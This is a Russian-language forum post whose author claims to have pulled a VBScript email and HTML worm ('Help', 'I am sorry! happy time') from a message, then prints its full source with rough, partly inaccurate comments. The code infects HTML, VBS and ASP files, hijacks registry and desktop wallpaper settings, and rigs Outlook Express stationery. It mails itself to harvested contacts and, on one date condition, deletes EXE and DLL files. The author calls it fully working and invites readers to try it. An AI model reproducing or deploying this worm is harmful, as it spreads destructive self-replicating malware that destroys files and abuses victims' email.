[DJ FOTON]

В этой статье я немного расскажу о вирусах написанных на VB Script. Однажды, не так довно мне пришло письмо от пользователя в котором содержался вирус написанный на VBS. Каково было моё удивление, когда на письмо начала ругаться моя AVP . Да... давненько мне не присылали всяких вирусяг! Однако письмо не содержало никаких вложений, и я сразу понял, что вирус не простой и скорее всего написан на языке VBS так как в отличии от других скриптовых языков только VBS имеет прямые функции работы с файлами и способен влиять на содержимое за пределами тела своего скрипта. Расковыряв письмо, мне удалось вытащить само тело вируса, которое я вам и продемонстрирую. Опасность этого вируса заключается в том, что он инфицирует файлы с расширением HTML да ещё и способен прикреплятся к письмам, которые отправляются через электронную почту в формате HTML. Давайте рассмотрим само тело вируса и как оно работает. Символы Enter заменены на =0A= <script language=3DVBScript>// говорится что это VBScript =0A= =0A= =0A= =0A= =0A= =0A= =0A= =0A= =0A= =0A= =0A= =0A= =0A= =0A= Rem I am sorry! happy time=0A= On Error Resume Next=0A= // глушится сообщение об ошибках mload=0A= Sub mload()=0A= On Error Resume Next=0A= mPath =3D Grf()=0A= Set Os =3D CreateObject("Scriptlet.TypeLib")=0A=// попытка создать файл Set Oh =3D CreateObject("Shell.Application")=0A= If IsHTML Then=0A= mURL =3D LCase(document.Location)=0A=//попытка залезть в книгу адресов If mPath =3D "" Then=0A= Os.Reset=0A= Os.Path =3D "C:\Help.htm"=0A=// создаёт файл HTML на диске и выставляет до него доступ Os.Doc =3D Lhtml()=0A=// поиск HTML файлов Os.Write()=0A=// задаётся цикл и вставка отдельным невидимым слоем вируса для заражения HTML документов Ihtml =3D "<span style=3D'position:absolute'><Iframe src=3D'C:\Help.htm' = width=3D'0' height=3D'0'></Iframe></span>"=0A= Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)=0A= Else=0A= If Iv(mPath, "Help.vbs") Then=0A= setInterval "Rt()", 10000=0A= Else=0A= m =3D "hta"=0A= If LCase(m) =3D Right(mURL, Len(m)) Then=0A= id =3D setTimeout("mclose()", 1)=0A= main=0A= Else=0A= Os.Reset()=0A= Os.Path =3D mPath & "\" & "Help.hta"=0A= Os.Doc =3D Lhtml()=0A= Os.write()=0A= Iv mPath, "Help.hta"=0A= End If=0A= End If=0A= End If=0A= Else=0A= main=0A= End If=0A= End Sub=0A= Sub main()=0A= On Error Resume Next=0A= Set Of =3D CreateObject("Scripting.FileSystemObject")=0A= Set Od =3D CreateObject("Scripting.Dictionary")=0A= Od.Add "html", "1100"=0A= Od.Add "vbs", "0100"=0A= Od.Add "htm", "1100"=0A= Od.Add "asp", "0010"=0A= Ks =3D "HKEY_CURRENT_USER\Software\"=0A=// лезет в реестр и прописывает себя на запуск Ds =3D Grf()=0A= Cs =3D Gsf()=0A= If IsVbs Then=0A= If Of.FileExists("C:\help.htm") Then=0A=// завершает работу с файлом Of.DeleteFile ("C:\help.htm")=0A=// удаляет файл на диске с: в котором содержится вирус End If=0A= // заканчивеат сессию Key =3D CInt(Month(Date) + Day(Date))=0A=// устанавливает ключи запуска и пытается прописаться к запущенным библиотекам If Key =3D 13 Then=0A= Od.RemoveAll=0A= Od.Add "exe", "0001"=0A= Od.Add "dll", "0001"=0A= End If=0A= Cn =3D Rg(Ks & "Help\Count")=0A= If Cn =3D "" Then=0A= Cn =3D 1=0A= End If=0A= Rw Ks & "Help\Count", Cn + 1=0A= f1 =3D Rg(Ks & "Help\FileName")=0A= f2 =3D FNext(Of, Od, f1)=0A= fext =3D GetExt(Of, Od, f2)=0A= Rw Ks & "Help\FileName", f2=0A= If IsDel(fext) Then=0A= f3 =3D f2=0A= f2 =3D FNext(Of, Od, f2)=0A= Rw Ks & "Help\FileName", f2=0A= Of.DeleteFile f3=0A= Else=0A= If LCase(WScript.ScriptFullname) <> LCase(f2) Then=0A= Fw Of, f2, fext=0A= End If=0A= End If=0A= If (CInt(Cn) Mod 366) =3D 0 Then=0A= If (CInt(Second(Time)) Mod 2) =3D 0 Then=0A= Tsend=0A= Else=0A= adds =3D Og=0A= Msend (adds)=0A= End If=0A= End If=0A=// закончил сессию попытки присоединить своё тело к файлам wp =3D Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")=0A=// пытается получить доступ до обоев рабочего стола If Rg(Ks & "Help\wallPaper") <> wp Or wp =3D "" Then=0A= If wp =3D "" Then=0A= n1 =3D ""=0A= n3 =3D Cs & "\Help.htm"=0A= Else=0A= mP =3D Of.GetFile(wp).ParentFolder=0A= n1 =3D Of.GetFileName(wp)=0A= n2 =3D Of.GetBaseName(wp)=0A= n3 =3D Cs & "\" & n2 & ".htm"=0A= End If=0A= Set pfc =3D Of.CreateTextFile(n3, True)=0A= mt =3D Sa("1100")=0A= pfc.Write "<" & "HTML><" & "body bgcolor=3D'#007f7f' background=3D'" & = n1 & "'><" & "/Body><" & "/HTML>" & mt=0A= pfc.Close=0A= Rw Ks & "Help\wallPaper", n3=0A= Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3=0A= End If=0A= Else=0A= Set fc =3D Of.CreateTextFile(Ds & "\Help.vbs", True)=0A= fc.Write Sa("0100")=0A= fc.Close=0A= bf =3D Cs & "\Untitled.htm"=0A= Set fc2 =3D Of.CreateTextFile(bf, True)=0A= fc2.Write Lhtml=0A= fc2.Close=0A=// закончил попытку инфицировать обои рабочего стола и далее пробует создать своё тело для пересылки по электронной почте oeid =3D Rg("HKEY_CURRENT_USER\Identities\Default User ID")=0A= oe =3D "HKEY_CURRENT_USER\Identities\" & oeid & = "\Software\Microsoft\Outlook Express\5.0\Mail"=0A= MSH =3D oe & "\Message Send HTML"=0A= CUS =3D oe & "\Compose Use Stationery"=0A= SN =3D oe & "\Stationery Name"=0A= Rw MSH, 1=0A= Rw CUS, 1=0A= Rw SN, bf=0A= Web =3D Cs & "\WEB"=0A= Set gf =3D Of.GetFolder(Web).Files=0A= Od.Add "htt", "1100"=0A= For Each m In gf=0A= fext =3D GetExt(Of, Od, m)=0A= If fext <> "" Then=0A= Fw Of, m, fext=0A= End If=0A= Next=0A= End If=0A= End Sub=0A= Sub mclose()=0A= document.Write "<" & "title>I am sorry!</title" & ">"=0A= window.Close=0A= End Sub=0A= Sub Rt()=0A= Dim mPath=0A= On Error Resume Next=0A= mPath =3D Grf()=0A= Iv mPath, "Help.vbs"=0A= End Sub=0A= Function Sa(n)=0A= Dim VBSText, m=0A= VBSText =3D Lvbs()=0A= If Mid(n, 3, 1) =3D 1 Then=0A= m =3D "<%" & VBSText & "%>"=0A= End If=0A= If Mid(n, 2, 1) =3D 1 Then=0A= m =3D VBSText=0A= End If=0A= If Mid(n, 1, 1) =3D 1 Then=0A= m =3D Lscript(m)=0A= End If=0A= Sa =3D m & vbCrLf=0A= End Function=0A= Sub Fw(Of, S, n)=0A= Dim fc, fc2, m, mmail, mt=0A= On Error Resume Next=0A= Set fc =3D Of.OpenTextFile(S, 1)=0A= mt =3D fc.ReadAll=0A= fc.Close=0A= If Not Sc(mt) Then=0A= mmail =3D Ml(mt)=0A= mt =3D Sa(n)=0A= Set fc2 =3D Of.OpenTextFile(S, 8)=0A= fc2.Write mt=0A= fc2.Close=0A= Msend (mmail)=0A= End If=0A= End Sub=0A= Function Sc(S)=0A= mN =3D "Rem I am sorry! happy time"=0A= If InStr(S, mN) > 0 Then=0A= Sc =3D True=0A= Else=0A= Sc =3D False=0A= End If=0A= End Function=0A= Function FNext(Of, Od, S)=0A= Dim fpath, fname, fext, T, gf=0A= On Error Resume Next=0A= fname =3D ""=0A= T =3D False=0A= If Of.FileExists(S) Then=0A= fpath =3D Of.GetFile(S).ParentFolder=0A= fname =3D S=0A= ElseIf Of.FolderExists(S) Then=0A= fpath =3D S=0A= T =3D True=0A= Else=0A= fpath =3D Dnext(Of, "")=0A= End If=0A= Do While True=0A= Set gf =3D Of.GetFolder(fpath).Files=0A= For Each m In gf=0A= If T Then=0A= If GetExt(Of, Od, m) <> "" Then=0A= FNext =3D m=0A= Exit Function=0A= End If=0A= ElseIf LCase(m) =3D LCase(fname) Or fname =3D "" Then=0A= T =3D True=0A= End If=0A= Next=0A= fpath =3D Pnext(Of, fpath)=0A= Loop=0A= End Function=0A= Function Pnext(Of, S)=0A= On Error Resume Next=0A= Dim Ppath, Npath, gp, pn, T, m=0A= T =3D False=0A= If Of.FolderExists(S) Then=0A= Set gp =3D Of.GetFolder(S).SubFolders=0A= pn =3D gp.Count=0A= If pn =3D 0 Then=0A= Ppath =3D LCase(S)=0A= Npath =3D LCase(Of.GetParentFolderName(S))=0A= T =3D True=0A= Else=0A= Npath =3D LCase(S)=0A= End If=0A= Do While Not Er=0A= For Each pn In Of.GetFolder(Npath).SubFolders=0A= If T Then=0A= If Ppath =3D LCase(pn) Then=0A= T =3D False=0A= End If=0A= Else=0A= Pnext =3D LCase(pn)=0A= Exit Function=0A= End If=0A= Next=0A= T =3D True=0A= Ppath =3D LCase(Npath)=0A= Npath =3D Of.GetParentFolderName(Npath)=0A= If Of.GetFolder(Ppath).IsRootFolder Then=0A= m =3D Of.GetDriveName(Ppath)=0A= Pnext =3D Dnext(Of, m)=0A= Exit Function=0A= End If=0A= Loop=0A= End If=0A= End Function=0A= Function Dnext(Of, S)=0A= Dim dc, n, d, T, m=0A= On Error Resume Next=0A= T =3D False=0A= m =3D ""=0A= Set dc =3D Of.Drives=0A= For Each d In dc=0A= If d.DriveType =3D 2 Or d.DriveType =3D 3 Then=0A= If T Then=0A= Dnext =3D d=0A= Exit Function=0A= Else=0A= If LCase(S) =3D LCase(d) Then=0A= T =3D True=0A= End If=0A= If m =3D "" Then=0A= m =3D d=0A= End If=0A= End If=0A= End If=0A= Next=0A= Dnext =3D m=0A= End Function=0A= Function GetExt(Of, Od, S)=0A= Dim fext=0A= On Error Resume Next=0A= fext =3D LCase(Of.GetExtensionName(S))=0A= GetExt =3D Od.Item(fext)=0A= End Function=0A= Sub Rw(k, v)=0A= Dim R=0A= On Error Resume Next=0A= Set R =3D CreateObject("WScript.Shell")=0A= R.RegWrite k, v=0A= End Sub=0A= Function Rg(v)=0A= Dim R=0A= On Error Resume Next=0A= Set R =3D CreateObject("WScript.Shell")=0A= Rg =3D R.RegRead(v)=0A= End Function=0A= Function IsVbs()=0A= Dim ErrTest=0A= On Error Resume Next=0A= ErrTest =3D WScript.ScriptFullname=0A= If Err Then=0A= IsVbs =3D False=0A= Else=0A= IsVbs =3D True=0A= End If=0A= End Function=0A= Function IsHTML()=0A= Dim ErrTest=0A= On Error Resume Next=0A= ErrTest =3D document.Location=0A= If Er Then=0A= IsHTML =3D False=0A= Else=0A= IsHTML =3D True=0A= End If=0A= End Function=0A= Function IsMail(S)=0A= Dim m1, m2=0A= IsMail =3D False=0A= If InStr(S, vbCrLf) =3D 0 Then=0A= m1 =3D InStr(S, "@")=0A= m2 =3D InStr(S, ".")=0A= If m1 <> 0 And m1 < m2 Then=0A= IsMail =3D True=0A= End If=0A= End If=0A= End Function=0A= Function Lvbs()=0A= Dim f, m, ws, Of=0A= On Error Resume Next=0A= If IsVbs Then=0A= Set Of =3D CreateObject("Scripting.FileSystemObject")=0A= Set f =3D Of.OpenTextFile(WScript.ScriptFullname, 1)=0A= Lvbs =3D f.ReadAll=0A= Else=0A= For Each ws In document.scripts=0A= If LCase(ws.Language) =3D "vbscript" Then=0A= If Sc(ws.Text) Then=0A= Lvbs =3D ws.Text=0A= Exit Function=0A= End If=0A= End If=0A= Next=0A= End If=0A= End Function=0A= Function Iv(mPath, mName)=0A= Dim Shell=0A= On Error Resume Next=0A= Set Shell =3D CreateObject("Shell.Application")=0A= Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb=0A= If Er Then=0A= Iv =3D False=0A= Else=0A= Iv =3D True=0A= End If=0A= End Function=0A= Function Grf()=0A= Dim Shell, mPath=0A= On Error Resume Next=0A= Set Shell =3D CreateObject("Shell.Application")=0A= mPath =3D "C:\"=0A= For Each mShell In Shell.NameSpace(mPath).Items=0A= If mShell.IsFolder Then=0A= Grf =3D mShell.Path=0A= Exit Function=0A= End If=0A= Next=0A= If Er Then=0A= Grf =3D ""=0A= End If=0A= End Function=0A= Function Gsf()=0A= Dim Of, m=0A= On Error Resume Next=0A= Set Of =3D CreateObject("Scripting.FileSystemObject")=0A= m =3D Of.GetSpecialFolder(0)=0A= If Er Then=0A= Gsf =3D "C:\"=0A= Else=0A= Gsf =3D m=0A= End If=0A= End Function=0A= Function Lhtml()=0A= Lhtml =3D "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _=0A= "<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _=0A= "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _=0A= "<" & "/Body></HTML" & ">"=0A= End Function=0A=// закончил создание своего тела для пересылки по электронной почте Function Lscript(S)=0A=// ждёт когда произойдёт отправка письма для того чтобы прикрепить своё тело к ней Lscript =3D "<" & "script language=3D'VBScript'>" & vbCrLf & _=0A= S & "<" & "/script" & ">"=0A= End Function=0A= Function Sl(S1, S2, n)=0A= Dim l1, l2, l3, i=0A= l1 =3D Len(S1)=0A= l2 =3D Len(S2)=0A= i =3D InStr(S1, S2)=0A= If i > 0 Then=0A= l3 =3D i + l2 - 1=0A= If n =3D 0 Then=0A= Sl =3D Left(S1, i - 1)=0A= ElseIf n =3D 1 Then=0A= Sl =3D Right(S1, l1 - l3)=0A= End If=0A= Else=0A= Sl =3D ""=0A= End If=0A= End Function=0A= Function Ml(S)=0A= Dim S1, S3, S2, T, adds, m=0A= S1 =3D S=0A= S3 =3D """"=0A= adds =3D ""=0A= S2 =3D S3 & "mailto" & ":"=0A= T =3D True=0A= Do While T=0A= S1 =3D Sl(S1, S2, 1)=0A= If S1 =3D "" Then=0A= T =3D False=0A= Else=0A= m =3D Sl(S1, S3, 0)=0A= If IsMail(m) Then=0A= adds =3D adds & m & vbCrLf=0A= End If=0A= End If=0A= Loop=0A= Ml =3D Split(adds, vbCrLf)=0A= End Function=0A= Function Og()=0A= Dim i, n, m(), Om, Oo=0A= Set Oo =3D CreateObject("Outlook.Application")=0A= Set Om =3D Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items=0A= n =3D Om.Count=0A= ReDim m(n)=0A= For i =3D 1 To n=0A= m(i - 1) =3D Om.Item(i).Email1Address=0A= Next=0A= Og =3D m=0A= End Function=0A= Sub Tsend()=0A= Dim Od, MS, MM, a, m=0A= Set Od =3D CreateObject("Scripting.Dictionary")=0A= MConnect MS, MM=0A= MM.FetchSorted =3D True=0A= MM.Fetch=0A= For i =3D 0 To MM.MsgCount - 1=0A= MM.MsgIndex =3D i=0A= a =3D MM.MsgOrigAddress=0A= If Od.Item(a) =3D "" Then=0A= Od.Item(a) =3D MM.MsgSubject=0A= End If=0A= Next=0A= For Each m In Od.Keys=0A= MM.Compose=0A= MM.MsgSubject =3D "Fw: " & Od.Item(m)=0A= MM.RecipAddress =3D m=0A= MM.AttachmentPathName =3D Gsf & "\Untitled.htm"=0A= MM.Send=0A= Next=0A= MS.SignOff=0A= End Sub=0A= Function MConnect(MS, MM)=0A= Dim U=0A= On Error Resume Next=0A= Set MS =3D CreateObject("MSMAPI.MAPISession")=0A= Set MM =3D CreateObject("MSMAPI.MAPIMessages")=0A= U =3D Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging = Subsystem\Profiles\DefaultProfile")=0A= MS.UserName =3D U=0A= MS.DownLoadMail =3D False=0A= MS.NewSession =3D False=0A= MS.LogonUI =3D True=0A= MS.SignOn=0A= MM.SessionID =3D MS.SessionID=0A= End Function=0A= Sub Msend(Address)=0A= Dim MS, MM, i, a=0A= MConnect MS, MM=0A= i =3D 0=0A= MM.Compose=0A= For Each a In Address=0A= If IsMail(a) Then=0A= MM.RecipIndex =3D i=0A= MM.RecipAddress =3D a=0A= i =3D i + 1=0A= End If=0A= Next=0A= MM.MsgSubject =3D " Help "=0A= MM.AttachmentPathName =3D Gsf & "\Untitled.htm"=0A= MM.Send=0A= MS.SignOff=0A= End Sub=0A= Function Er()=0A= If Err.Number =3D 0 Then=0A= Er =3D False=0A= Else=0A= Err.Clear=0A= Er =3D True=0A= End If=0A= End Function=0A= Function IsDel(S)=0A= If Mid(S, 4, 1) =3D 1 Then=0A= IsDel =3D True=0A= Else=0A= IsDel =3D False=0A= End If=0A= End Function=0A= =0A= =0A= // конец вредоносного скрипта </SCRIPT> Я не берусь дословно обьяснять, что происходит конкретно в каждой строчке скрипта. Как видите, этот скрипт может заражать файлы и пересылать своё тело по электронной почте для размножения. Этот скрипт является полностью рабочим если вам не жалко ваших HTML документов можете попробовать посмотреть на его работу. Я не несу ответственности за применение данного скрипта пользователями в корыстных целях, а так же за применение этого скрипта на своих страничках ради любопытства или мести. Данный скрипт опубликован только для тех кому интересно, что внутри вируса!

[+s.p.a.m.+]

В этот форум пишем токо свои статьи, и если это ваша статья ставте копирайт... Статьи просто скопированные с других форумов и к которым присвоен ваш копирайт будут наказываться...